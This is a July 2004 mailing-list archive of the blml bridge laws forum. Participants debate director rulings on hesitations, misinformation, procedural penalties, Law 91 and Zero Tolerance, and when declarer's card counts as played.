From Chris@Pisarra.com Thu Jul 1 00:22:43 2004 From: Chris@Pisarra.com (Chris Pisarra) Date: Wed, 30 Jun 2004 16:22:43 -0700 Subject: [blml] Baby face References: Message-ID: <002c01c45ef9$253c6840$1401a8c0@COMPUTER> Finally, something to contribute! I've been wondering the location of this case, because the psych of 1S in this auction, deemed semi-automatic by many in this group, is essentially dead in the ACBL, killed off by draconian anti-psyhcing rules and attitudes. One no longer even considers the possiblilty when playing against Americans, even whimsical bidders like Haig Tchamitch. If faces alter cases, and I think that they often do (rightly or wrongly), then be aware that the appellant is a player of world class caliber who is also, to my own personal and certain knowledge, frequently cranky, litigious and a bridge lawyer of the first order. I can't find that the hesitation of a known nervous beginner against a world class player demonstrably indicates anything, and rule that the result stands. Chris From blml@blakjak.com Thu Jul 1 01:41:37 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 1 Jul 2004 01:41:37 +0100 Subject: [blml] Penalised for not knowing your system ... In-Reply-To: References: Message-ID: RJH wrote >David Stevenson wrote: >>but in practice any offence the TD decrees as >>suitable for a PP is covered by one of the >>laws anyway. >Richard Hills asks: > >How is a single "forget" of your system an >infraction of Law, when the EBU-adopted WBF >Code of Practice specifically directs >otherwise? L74A2. Were you not listening? I know, I know, you are trying to mix me and your other readers up by confusing two totally and completely different things. Well, you are not going to confuse me. Is it legal to give a PP for something that the TD decides is illegal? Yes. Is it desirable/sensible/helpful to give a PP for CD? Probably in certain situations, but this thread is not about that, so why bother? The final question is of course: Is it legal to give a PP for something that the TD decides is illegal if a member of BLML decrees otherwise? 'fraid so! -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From nigel.guthrie@ntlworld.com Thu Jul 1 01:54:01 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 1 Jul 2004 01:54:01 +0100 Subject: [blml] Penalised for not knowing your system ... References: Message-ID: <001d01c45f05$e6cebc40$299868d5@jeushtlj> > [Aggrieved expert] > (a) On correct information, I would have led > a top diamond a trick one, scoring +200 > instead of -790 > [Richard James Hills as TD] > I ruled against the expert North on (a), since > rational defence beats 4S on any non-club > lead. (During the actual play of the hand, > North had subsequently panicked, and had led > away from the king of clubs.) [Nigel] "God dealt you an AK to prevent an opening lead problem". A bunny might go two down after such a lead. But, even Hamman would lead something else after the 3D bid. Poor North's problems resulted from uncorrected MI. Leading from CK was a consequent mistake and hardly a wild or gambling action. Perhaps, the TD should award the NOS only 200 rather than 500 if the NOS know the OS are rabbits but failed to protect themselves by asking about the auction. Although the wretched blighters may have been reluctant to risk UI and intimidation with such interrogation. I bet some BLML TDs also disagree with Richard's ruling. Surely the law itself is at fault if intelligent people can dispute so many simple straightforward applications. Anyway, assuming that Richard's ruling is lawful, IMO, the law should be changed. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 From richard.hills@immi.gov.au Thu Jul 1 01:57:52 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 1 Jul 2004 10:57:52 +1000 Subject: [blml] Penalised for not knowing your system ... Message-ID: David Stevenson asserted: [snip] >Is it legal to give a PP for something that the TD >decides is illegal? > >Yes. [snip] Richard Hills asserts: No. If David Stevenson's assertion were correct, and anything that a TD decides is legal is in fact legal, then there would be no need for Law 82C or Law 93C. Best wishes RJH From richard.hills@immi.gov.au Thu Jul 1 02:39:41 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 1 Jul 2004 11:39:41 +1000 Subject: [blml] Penalised for not knowing your system ... Message-ID: Aggrieved expert -> >>>(a) On correct information, I would have led >>>a top diamond a trick one, scoring +200 >>>instead of -790 Richard Hills as a TD -> >>I ruled against the expert North on (a), since >>rational defence beats 4S on any non-club >>lead. (During the actual play of the hand, >>North had subsequently panicked, and had led >>away from the king of clubs.) Nigel Guthrie -> >"God dealt you an AK to prevent an opening >lead problem". A bunny might go two down after >such a lead. But, even Hamman would lead >something else after the 3D bid. Poor North's >problems resulted from uncorrected MI. Richard Hills as a blmler -> Actually, the MI was de facto corrected as soon as dummy appeared, so the aggrieved expert's play to tricks 2 to 13 was unaffected by MI. Nigel Guthrie -> >Leading from CK was a consequent mistake and >hardly a wild or gambling action. Richard Hills as a blmler -> There is a Lawful distinction between a "consequent" mistake, which is caused by MI, and a "subsequent" mistake, which is merely later than the MI. Leading from the club king was a "subsequent" mistake, since at the time the aggrieved expert knew (or should have known, being an expert) that a club lead was a wild or gambling switch. Perhaps Nigel has misinterpreted my posting? The aggrieved expert initially led the king of hearts at trick one (not a club). It was at a later "subsequent" trick, when the MI had been de facto corrected, that the aggrieved expert switched to a club away from his king. Note that the heart king lead did not cost a trick, since it is easy to score nine tricks on any defence. After the aggrieved expert's 1NT overcall, even the most bunnyish declarer can guarantee nine tricks by endplaying North and/or by establishing the ten of diamonds as a trick. Nigel Guthrie -> [snip] >I bet some BLML TDs also disagree with Richard's >ruling. Surely the law itself is at fault if >intelligent people can dispute so many simple >straightforward applications. [snip] Richard Hills as a supporter of a government of laws, not men -> Any legal system, bridge or otherwise, has some intelligent people disputing its applications. For example, recently the United States Supreme Court had to rule whether or not the President of the United States was above the law regarding decisions that he made at Guantanamo Bay. The nine intelligent Justices of the Supreme Court disputed this simple straightforward application, eventually deciding by a majority 6-3 vote that the President was *not* above the law. Best wishes RJH From ereppert@rochester.rr.com Thu Jul 1 02:58:45 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 30 Jun 2004 21:58:45 -0400 Subject: [blml] Baby face In-Reply-To: Message-ID: <2FAEF3CB-CB02-11D8-9C1F-0030656F6826@rochester.rr.com> On Wednesday, Jun 30, 2004, at 18:18 US/Eastern, richard.hills@immi.gov.au wrote: > Her tempo varied considerably and did not reliably indicate anything. If no information was passed to her partner, then no *unauthorized* information was passed. Since that's a prerequisite for a score adjustment, score stands. From HarrisR@missouri.edu Thu Jul 1 04:33:36 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Wed, 30 Jun 2004 22:33:36 -0500 Subject: [blml] How played is declairer's exposed card? Message-ID: Law 45C2: "Declarer must play a card from his hand held face up, touching or nearly touching the table, or maintained in such a position as to indicate that it has been played." On Friday and Saturday I was directing the bridge part of the Missouri State Senior Games. Two director calls revolved around whether declarer had or had not yet played an exposed card. In each case, the card was pulled from hand and brought toward the table before declarer decided not to play it. In the first case, a spade was led from dummy and declarer trumped with a heart, then started to lead the heart ace and found the spade three stuck to the back of the heart ace. She wanted to correct the revoke, as she thought she had not actually played the heart ace. In the second case, declarer had led a small club from dummy, rho had played the club 8, and declarer started to play the club 3, then wanted to play a high club. I had the players re-enact the play, as nearly as they could, and decided in each case that the card had not reached the position indicated by Law 45C2, though the defenders argued in each case that as they could see the face of the card, it must have been played. So, just how played must a card be to be played, or how little played should it be to not be played? How should one go about deciding these cases? (P.S. I was playing in both sessions, so I did not give as much sympathetic attention to the defenders as I might otherwise have given. I didn't stick around to hear the defenders continue to gripe about the rulings. We didn't place in Friday's session, but finished first overall in Saturday's two session play through, winning gold-colored medals. As a second, minor matter, I had the 6 tables on Saturday play the 27 board 3/4 Howell, with three stationary pairs. In the second session I renumbered the pairs so that each pair faced each other pair as least once. Is there a better movement for this?) REH -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From richard.hills@immi.gov.au Thu Jul 1 04:56:20 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 1 Jul 2004 13:56:20 +1000 Subject: [blml] Better movement (was How played is) Message-ID: [snip] >As a second, minor matter, I had the 6 tables on >Saturday play the 27 board 3/4 Howell, with three >stationary pairs. In the second session I >renumbered the pairs so that each pair faced each >other pair as least once. Is there a better >movement for this?) > >REH >-- >Robert E. Harris Richard Hills: Yes, there is a better movement, provided that you are willing to go to the trouble of preduplicating three sets of boards for each of the two sessions. Rather than hold two 3/4 Howells over two sessions with 3-board rounds, for a total of 54 boards; hold a single giant Howell over two sessions with 5-board rounds, for a total of 55 boards. With three sets of boards in play, each pair of tables shares their five boards each round. Since this is a barometer movement, pairs can be permitted to compare scores each round. If deemed appropriate by the SO, progress scores can be publicly posted by the TD. Best wishes RJH From richard.hills@immi.gov.au Thu Jul 1 06:24:08 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 1 Jul 2004 15:24:08 +1000 Subject: [blml] Penalised for not knowing your system ... Message-ID: Gordon Bower: >I am sure someone with more experience and >historical background will correct me -- but >it is my impression that L91's "no right of >appeal" is only there so that if a contestant >is suspended from a session, but on review is >found to still be eligible for the next, you >are freed from having to award 25 lateplays >or 25 average-pluses or whatever, but can >just say "sorry, that session is history now, >what can we do to make it up to you?" Richard Hills: I have limited historical experience, as I did not start playing bridge until 1981. But it seems to me that the primary reason for the Law 91 "no right of appeal", is to prevent a cantankerous customer delaying their ejection from a session, by asking for an immediate injunction against the TD's decision by an AC. Gordon Bower: >It's very hard for me to imagine circumstances >that call for using L91 powers. Richard Hills: I agree that any use of Law 91 is very rare. But I disagree with any implied argument that Law 91 is an unnecessary Law. In my opinion, a rare conflagration *requires* the TD to be able to exercise the emergency powers granted by Law 91. Gordon Bower: >When "Zero Tolerance" became popular in the >late 90s, we suddenly learned this law existed, >because it was, supposedly, the justification >for giving out automatic non-appealable >penalties for bad behavior: I was in a minority >(at least in my ACBL district) who opposed ZT, >partly for its negativity, Richard Hills: Philosophical difference. In my opinion, the Law 74A2 requirement that a player is courteous to all three opponents is the most important Law of bridge. Therefore, I believe that enforcing Law 74A2 is *positivity*, not negativity. Gordon Bower: >and partly because I thought it was an illegal >power grab on the part of the SO: L91 says "the >director is specifically empowered," and ZT >took away his right to choose how to use the >power. Richard Hills: In theory I agree with Gordon's "illegal power grab". In practice, I cannot say that ACBL SOs were involved in an "illegal power grab", when some ACBL TDs were derelict in their non-use of their power, failing to act on justified complaints of discourtesy from non-offending players. Telling TDs to enforce Zero Tolerance against rude players should have been unnecessary, since all sensible TDs should have dropped a 16-ton weight on rude players on their own initiative. But..... Where Gordon and I do share common ground on the negativity of Zero Tolerance, is in its current distorted form of Zero Tolerance of *inadvertent* system forgets (which is light-years away from the original Zero Tolerance of *deliberate* rudeness). Best wishes RJH From richard.hills@immi.gov.au Thu Jul 1 07:32:37 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 1 Jul 2004 16:32:37 +1000 Subject: [blml] Baby face Message-ID: Reno NABC+ cases, Appeal Number Eighteen: >>Her tempo varied considerably and did not reliably >>indicate anything. Ed Reppert aristotled: >If no information was passed to her partner, then >no *unauthorized* information was passed. Since >that's a prerequisite for a score adjustment, score >stands. Richard Hills quibbles: In my opinion, Ed is inappropriately using Aristotle's Law of the Excluded Middle, arguing that a particular fact is either A or not-A. Rather, I would argue according to fuzzy logic, and fuzzily propose that there is a Lawful difference between "did not indicate anything" and the actual factual determination by the AC, "did not *reliably* indicate anything". Even unreliable indications may be highly useful information to an expert. Best wishes RJH From nigel.guthrie@ntlworld.com Thu Jul 1 07:45:33 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 1 Jul 2004 07:45:33 +0100 Subject: [blml] Baby face References: Message-ID: <000001c45f39$65ac9400$369868d5@jeushtlj> For some players, breaks in tempo show values or at least something to think about. Hence they can facilitate partner's entry into the auction. So we should be grateful to the TD for his time-consuming and conscientious observation of this player to establish that... > Her tempo varied considerably and did not > reliably indicate anything. Without this information, I suppose a TD might consider a score alteration, given that pass by the hesitater's partner appears to be an LA and his bid seems to have damaged opponents. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 From nigel.guthrie@ntlworld.com Thu Jul 1 11:39:58 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 1 Jul 2004 11:39:58 +0100 Subject: [blml] How played is declairer's exposed card? References: Message-ID: <001801c45f57$c23ba9e0$529468d5@jeushtlj> > [TFLB L45C2] > "Declarer must play a card from his hand > held face up, touching or nearly touching > the table, or maintained in such a position > as to indicate that it has been played." > {Robert Harris] > [SNIP] So, just how played must a card be > to be played, or how little played should > it be to not be played? How should one > go about deciding these cases? [Nigel] Currently this question is being debated, at length, in rec.games.bridge. David Stevenson seems to agree with Robert Harris that, in this law, "held" means "maintained for a period of time". Hence whether a card is played is more a matter of TD judgement than of objective fact. Whereas most other legal eagles think "held" just means "gripped in the hand", which allows for a more objective determination. In general, players prefer simple objective definitions, unless the TD is a special friend. Such simple clear laws would make bridge less acrimonious but, unfortunately, would curtail our fascinating debates in BLML. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 From twm@cix.co.uk Thu Jul 1 12:20:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Thu, 1 Jul 2004 12:20 +0100 (BST) Subject: [blml] How played is declairer's exposed card? In-Reply-To: <001801c45f57$c23ba9e0$529468d5@jeushtlj> Message-ID: Nigel wrote: > Whereas most other legal eagles think "held" > just means "gripped in the hand", which > allows for a more objective determination. Not really. If it just means "gripped" then we have a non-objective "near the table" on which to make a judgement. NB when I ask kibbers not to sit too "near the table" I mean about 3 feet away - but that probably doesn't work here! Tim From blml@blakjak.com Thu Jul 1 13:33:06 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 1 Jul 2004 13:33:06 +0100 Subject: [blml] How played is declairer's exposed card? In-Reply-To: References: Message-ID: Robert E. Harris wrote >Law 45C2: "Declarer must play a card from his hand held face up, >touching or nearly touching the table, or maintained in such a position >as to indicate that it has been played." > >On Friday and Saturday I was directing the bridge part of the Missouri >State Senior Games. Two director calls revolved around whether >declarer had or had not yet played an exposed card. In each case, the >card was pulled from hand and brought toward the table before declarer >decided not to play it. > >In the first case, a spade was led from dummy and declarer trumped with >a heart, then started to lead the heart ace and found the spade three >stuck to the back of the heart ace. She wanted to correct the revoke, >as she thought she had not actually played the heart ace. > >In the second case, declarer had led a small club from dummy, rho had >played the club 8, and declarer started to play the club 3, then wanted >to play a high club. > >I had the players re-enact the play, as nearly as they could, and >decided in each case that the card had not reached the position >indicated by Law 45C2, though the defenders argued in each case that as >they could see the face of the card, it must have been played. There is a big argument about this on RGB at the moment. Certainly whether opponents can see the card is irrelevant. To my understanding there is no *point* at which it becomes played. When it becomes stationary in a clearly played position, which may be any of a] touching the table, or b] nearly touching the table, or c] clearly intended as played [eg held against the forehead facing out] then it is played. But a movement of a card which is immediately dragged back is not played because it was not held or maintained in such a position, however far it has gone forward, eg it can touch the table and not be played. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From gordon@gordonrainsford.co.uk Thu Jul 1 13:45:42 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Thu, 1 Jul 2004 13:45:42 +0100 Subject: [blml] How played is declairer's exposed card? In-Reply-To: References: Message-ID: <906F3F6C-CB5C-11D8-BE72-0003936A6522@gordonrainsford.co.uk> On 1 Jul 2004, at 13:33, David Stevenson wrote: > To my understanding there is no *point* at which it becomes played. > When it becomes stationary in a clearly played position, which may be > any of > > a] touching the table, or > b] nearly touching the table, or > c] clearly intended as played [eg held against the forehead facing out] > > then it is played. But a movement of a card which is immediately > dragged back is not played because it was not held or maintained in > such a position, however far it has gone forward, eg it can touch the > table and not be played. > This understanding seems to give a central role to a word (stationary) which appears at no point in the law itself. -- Gordon Rainsford London UK From Harald.Skjaran@bridgefederation.no Thu Jul 1 14:34:18 2004 From: Harald.Skjaran@bridgefederation.no (Skjaran, Harald) Date: Thu, 1 Jul 2004 15:34:18 +0200 Subject: SV: [blml] How played is declairer's exposed card? Message-ID: <89FD2BC254969C4297E82458BB27990001AFCB9D@exchange.idrettsforbundet.no> David Stevenson wrote: Robert E. Harris wrote >Law 45C2: "Declarer must play a card from his hand held face up,=20 >touching or nearly touching the table, or maintained in such a position = >as to indicate that it has been played." > >On Friday and Saturday I was directing the bridge part of the Missouri=20 >State Senior Games. Two director calls revolved around whether=20 >declarer had or had not yet played an exposed card. In each case, the=20 >card was pulled from hand and brought toward the table before declarer=20 >decided not to play it. > >In the first case, a spade was led from dummy and declarer trumped with = >a heart, then started to lead the heart ace and found the spade three=20 >stuck to the back of the heart ace. She wanted to correct the revoke,=20 >as she thought she had not actually played the heart ace. > >In the second case, declarer had led a small club from dummy, rho had=20 >played the club 8, and declarer started to play the club 3, then wanted = >to play a high club. > >I had the players re-enact the play, as nearly as they could, and=20 >decided in each case that the card had not reached the position=20 >indicated by Law 45C2, though the defenders argued in each case that as = >they could see the face of the card, it must have been played. There is a big argument about this on RGB at the moment. Certainly=20 whether opponents can see the card is irrelevant. To my understanding there is no *point* at which it becomes played.=20 When it becomes stationary in a clearly played position, which may be=20 any of a] touching the table, or b] nearly touching the table, or c] clearly intended as played [eg held against the forehead facing out] then it is played. But a movement of a card which is immediately=20 dragged back is not played because it was not held or maintained in such = a position, however far it has gone forward, eg it can touch the table=20 and not be played. ----- David is interpreting the word "held" to incorporate some measure of = time, without saying anything about how much time a card must be held in = a certain position to be considered played. Without saying anything about the validity of this interpretation of the = word "held", and the lack of defining a time limit, I'll have to comment = David's statement above.=20 It is not possible to move a card from your hand into a position where = it is face up, touching or nearly touching the table and back into your = hand without holding the card face up, touching or nearly touching the = table in a measurable period of time (a fraction of a second). I'll always rule a card moved in such a way a played card. Regards, Harald Skj=E6ran ----- --=20 David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =3D( + = )=3D Lawspage: http://blakjak.com/lws_menu.htm ~ _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From ehaa@starpower.net Thu Jul 1 15:03:58 2004 From: ehaa@starpower.net (Eric Landau) Date: Thu, 01 Jul 2004 10:03:58 -0400 Subject: [blml] How played is declairer's exposed card? In-Reply-To: <906F3F6C-CB5C-11D8-BE72-0003936A6522@gordonrainsford.co.uk > References: <906F3F6C-CB5C-11D8-BE72-0003936A6522@gordonrainsford.co.uk> Message-ID: <6.1.1.1.0.20040701095513.02b62680@pop.starpower.net> At 08:45 AM 7/1/04, Gordon wrote: >On 1 Jul 2004, at 13:33, David Stevenson wrote: > >> To my understanding there is no *point* at which it becomes >> played. When it becomes stationary in a clearly played position, >> which may be any of >> >>a] touching the table, or >>b] nearly touching the table, or >>c] clearly intended as played [eg held against the forehead facing out] >> >>then it is played. But a movement of a card which is immediately >>dragged back is not played because it was not held or maintained in >>such a position, however far it has gone forward, eg it can touch the >>table and not be played. > >This understanding seems to give a central role to a word (stationary) >which appears at no point in the law itself. The ambiguous word in L45C2 is "held". My AHD gives 17 definitions for "hold, v. tr.", including "1. To have and keep in possession..." and "3. To maintain in a certain position or relationship...". David has chosen to interpret "held" in the latter sense rather than the former, which, in this context, seems entirely reasonable to me. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From nigel.guthrie@ntlworld.com Thu Jul 1 15:14:31 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 1 Jul 2004 15:14:31 +0100 Subject: [blml] How played is declairer's exposed card? References: Message-ID: <003901c45f75$bb239460$4f9468d5@jeushtlj> > [David Stevenson] > Certainly whether opponents can see the > card is irrelevant. [Nigel] Except that if both opponents can simultaneously see the face of the card, maybe that is positive evidence that the card is "face up" within the meaning of the law. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 From nsousa@fc.up.pt Thu Jul 1 09:36:58 2004 From: nsousa@fc.up.pt (Nuno Miguel Marques de Sousa) Date: Thu, 1 Jul 2004 09:36:58 +0100 Subject: [blml] Baby face Message-ID: <47267B7CF730F440AD5A5932EE66748A14CFCB@MAIL.fc.up.pt> This is a multi-part message in MIME format. ------_=_NextPart_001_01C45F46.927AF418 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable > You think 3S is the minimum bid? Imagine: >=20 > Kxx > 10x > AQJx > Kxxx > -- AQ1082 > AQxxxx Jx > Kxxxx xxx > AQ Jxx > J9743 > K96 > 9 > T942 > > Any impossible calls here? Yes. I wouldn't think of passing 2H with West's 4-loser hand. I'd make = one last try with 3D or 3H. Double with North's hand, despite the = vulnerability, is routine these days. Bidding a balancing vulnerable 2S is very risky and serves little = purpose, as the heart king rates to be misplaced and there are hints = spades break badly. At IMPs I'd say it's a clear pass. HOWEVER, since at = matchpoints you have to butt-in whenever there's the slightest chance = you can make something, I'd consider 2S. Whether or not I'd bid 2S would depend on non-technical issues, like = who's at the table, state of match, level of the field, etc. For = instance, against solid or trigger-happy opponents, I'd probably pass. = If in dire need of a top or against palookas I'd bid 2S. They wouldn't = dare to double me anyway, LOL. ------_=_NextPart_001_01C45F46.927AF418 Content-Type: application/ms-tnef; name="winmail.dat" Content-Transfer-Encoding: base64 eJ8+IjsIAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAGAAAAElQTS5NaWNy b3NvZnQgTWFpbC5Ob3RlADEIAQ2ABAACAAAAAgACAAEEgAEAFQAAAFJFOiBbYmxtbF0gQmFieSBm YWNlAJ0GAQWAAwAOAAAA1AcHAAEACQAkADoABABOAQEggAMADgAAANQHBwABAAkAJAA6AAQATgEB CYABACEAAABDNzgwQUIyMDQyNUM5OTQ2QTY2NTI4MTEwQjgzMjQzOADdBgEDkAYAfAoAADcAAAAD ACYAAAAAAAMANgAAAAAAQAA5ABj0epJGX8QBHgA9AAEAAAAFAAAAUkU6IAAAAAACAUcAAQAAACoA AABjPXVzO2E9IDtwPUZDVVA7bD1NQUlMLTA0MDcwMTA4MzY1OFotMTQwMQAAAB4ASQABAAAAIwAA AGJsbWwgZGlnZXN0LCBWb2wgMSAjMTY3MiAtIDEyIG1zZ3MAAEAATgAAoZwEB1/EAR4AWgABAAAA FQAAAGJsbWwtYWRtaW5AcnRmbGIub3JnAAAAAAIBWwABAAAARwAAAAAAAACBKx+kvqMQGZ1uAN0B D1QCAAAAAGJsbWwtYWRtaW5AcnRmbGIub3JnAFNNVFAAYmxtbC1hZG1pbkBydGZsYi5vcmcAAAIB XAABAAAAGgAAAFNNVFA6QkxNTC1BRE1JTkBSVEZMQi5PUkcAAAAeAF0AAQAAABcAAABibG1sLXJl cXVlc3RAcnRmbGIub3JnAAACAV4AAQAAAEsAAAAAAAAAgSsfpL6jEBmdbgDdAQ9UAgAAAABibG1s LXJlcXVlc3RAcnRmbGIub3JnAFNNVFAAYmxtbC1yZXF1ZXN0QHJ0ZmxiLm9yZwAAAgFfAAEAAAAc AAAAU01UUDpCTE1MLVJFUVVFU1RAUlRGTEIuT1JHAB4AZgABAAAABQAAAFNNVFAAAAAAHgBnAAEA AAAVAAAAYmxtbC1hZG1pbkBydGZsYi5vcmcAAAAAHgBoAAEAAAAFAAAAU01UUAAAAAAeAGkAAQAA ABcAAABibG1sLXJlcXVlc3RAcnRmbGIub3JnAAAeAHAAAQAAACMAAABibG1sIGRpZ2VzdCwgVm9s IDEgIzE2NzIgLSAxMiBtc2dzAAACAXEAAQAAABsAAAABxF8HLS+n17QqLytLZJIu9PDue9m7AA/E NrUAHgB0AAEAAAAPAAAAYmxtbEBydGZsYi5vcmcAAB4AGgwBAAAAHQAAAE51bm8gTWlndWVsIE1h cnF1ZXMgZGUgU291c2EAAAAAHgAdDgEAAAARAAAAW2JsbWxdIEJhYnkgZmFjZQAAAAACAQkQAQAA APADAADsAwAAQgcAAExaRnWZqoNCAwAKAHJjcGcxMjXiMgNDdGV4BUEBAwH3/wqAAqQD5AcTAoAP 8wBQBFY/CFUHshElDlEDAQIAY2jhCsBzZXQyBgAGwxEl9jMERhO3MBIsETMI7wn3tjsYHw4wNREi DGBjAFAzCwkBZDM2FlALpiA+RCBZCGAgdGgLgGscIDMF8AQAHUFlIG0DC4AHcHVtIGJpZCg/IEkA wGcLgGU6fwqiCoAc8B+mIJ8hryIDS5x4eCAvJE8lKzEwIz/jJ18oTEFRSiZfKo8iP/Mpjyt1LS0r fy9fKRQmMN44DlAs3ykFLJF4L68z7/8pfywKMt833zgALJ8oyTgPHzvfNMQ5Pz5fNC05NzTPFTA9 f0G/Ils5NkCvRM8dRas5Q89Hz0irVDk0IzEGH6ZBbnkd0G1wWm8EEGkCYB4wYwdAbLcEIB4gGCA/ H6QfpFkHkBIuHxAgdwhgbGRuxicFQB1Ub2YgCrBLYaBuZyAySE2gaR1QJCBXB5B0JwQgNC1PF7AU EAXAE+BuZE1xJ/JkHkBhax4wAiAeMAtgm0/wHUBySwBPgzNETpDpBcAzSE1wRAhgS5JPg5pOF8Fo UBFQwiwgAQDcc3BPkB4wHhJ2TdAfcO5yAaADEE+QeVTwHeEDYDx1dB9hHgIUEFUAYXmrTWBMikIe 4GRPEmEewLsHQABwY08SVdZLoTIdw852BJBLAAUQc2tLAFDRXiBQgVswBCBWYXRLoXD7CHBLQWVU 8E7gHgMeIArAvQVAa08SViAOsB3xbx7A9x4yVTALYGMJgFvTHhEYILdZUGCBHWF0BCBVMGFVEY8e wBggUXBZcWRseU1wYkEFQElNUAQgUSJz71fgHdBQAllgY0ugCsFO0gFNcEhPV0VWRVK/VPBPAV/Q WVAFQADAdBPQ+0tAYQN5HSET4FswXwNXEPx0LQuATaAeIB9wWzFgRMtQER4Sc1ZgZ2he0QVAvxPR ZXJmokvQA6BRY3MDcPsUIB1hZ1TwUSIFoACBBIE7WsFYG1ceIGBSUvJub79ioVExHtFawk2zVQFw CfDnUUACIG4hbi0OsBPQAwDrS9Ed0XMKUHNU8FZgUYH9Z+BvY7JOIlVxWoJlMQGQ/1VhTqFl43Fh aCEDIE6hHhJeZgiQTeBU8BQgY01wRt8FsQuAcxFlcV1xZwtxUhGfaxBWYG/RaFEFEGdnBJDSLRPg cHBLAG94MFGx+2ERa6RwA2BZgAJgSwBkZP5JTrBnsVkQYIEfcF/hTqF7WWBfEHBS8naGCrAXsG/u a12RbnhNcFQeIFJhTcZ3V9BggV8RZFOEB4Bb0XlGd1fgVPBMT0xYFX0BgRAeADUQAQAAADcAAAA8 NDcyNjdCN0NGNzMwRjQ0MEFENUE1OTMyRUU2Njc0OEExNENGQ0JATUFJTC5mYy51cC5wdD4AAB4A RxABAAAADwAAAG1lc3NhZ2UvcmZjODIyAAALAPIQAQAAAB8A8xABAAAANgAAAFIARQAlADMAQQAg AFsAYgBsAG0AbABdACAAQgBhAGIAeQAgAGYAYQBjAGUALgBFAE0ATAAAAAAACwD2EAAAAABAAAcw jCwAPkZfxAFAAAgw5FWckkZfxAEDAN4/r28AAAMA8T8JBAAAHgD4PwEAAAAdAAAATnVubyBNaWd1 ZWwgTWFycXVlcyBkZSBTb3VzYQAAAAACAfk/AQAAAFoAAAAAAAAA3KdAyMBCEBq0uQgAKy/hggEA AAAAAAAAL089RkNVUC9PVT1GSVJTVCBBRE1JTklTVFJBVElWRSBHUk9VUC9DTj1SRUNJUElFTlRT L0NOPU5TT1VTQQAAAB4A+j8BAAAAFQAAAFN5c3RlbSBBZG1pbmlzdHJhdG9yAAAAAAIB+z8BAAAA HgAAAAAAAADcp0DIwEIQGrS5CAArL+GCAQAAAAAAAAAuAAAAAwD9P+QEAAADABlAAAAAAAMAGkAA AAAAAwAdQAAAAAADAB5AAAAAAB4AMEABAAAABwAAAE5TT1VTQQAAHgAxQAEAAAAHAAAATlNPVVNB AAAeADJAAQAAABUAAABibG1sLWFkbWluQHJ0ZmxiLm9yZwAAAAAeADNAAQAAABcAAABibG1sLXJl cXVlc3RAcnRmbGIub3JnAAAeADhAAQAAAAcAAABOU09VU0EAAB4AOUABAAAAAgAAAC4AAAALACkA AAAAAAsAIwAAAAAAAwAGEJIKEYYDAAcQ7QIAAAMAEBABAAAAAwAREAEAAAAeAAgQAQAAAGUAAABZ T1VUSElOSzNTSVNUSEVNSU5JTVVNQklEP0lNQUdJTkU6S1hYMTBYQVFKWEtYWFgtLUFRMTA4MkFR WFhYWEpYS1hYWFhYWFhBUUpYWEo5NzQzSzk2OVQ5NDJBTllJTVBPU1NJAAAAAAIBfwABAAAANwAA ADw0NzI2N0I3Q0Y3MzBGNDQwQUQ1QTU5MzJFRTY2NzQ4QTE0Q0ZDQkBNQUlMLmZjLnVwLnB0PgAA GbQ= ------_=_NextPart_001_01C45F46.927AF418-- From nigel.guthrie@ntlworld.com Thu Jul 1 15:27:18 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 1 Jul 2004 15:27:18 +0100 Subject: [blml] How played is declairer's exposed card? References: Message-ID: <003f01c45f77$83d5f280$4f9468d5@jeushtlj> > [Tim Wrst Meads] > If [held] just means "gripped" then we have > a non-objective "near the table" on which to > make a judgement. [Nigel] I agree with Tim that clarifying that "held" means "gripped" is only half way to a more objective law. Maybe, for declarer, the card should not be considered played until he nominates it or, while gripping it, he brings it in contact with the playing surface. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 From gordon@gordonrainsford.co.uk Thu Jul 1 16:02:40 2004 From: 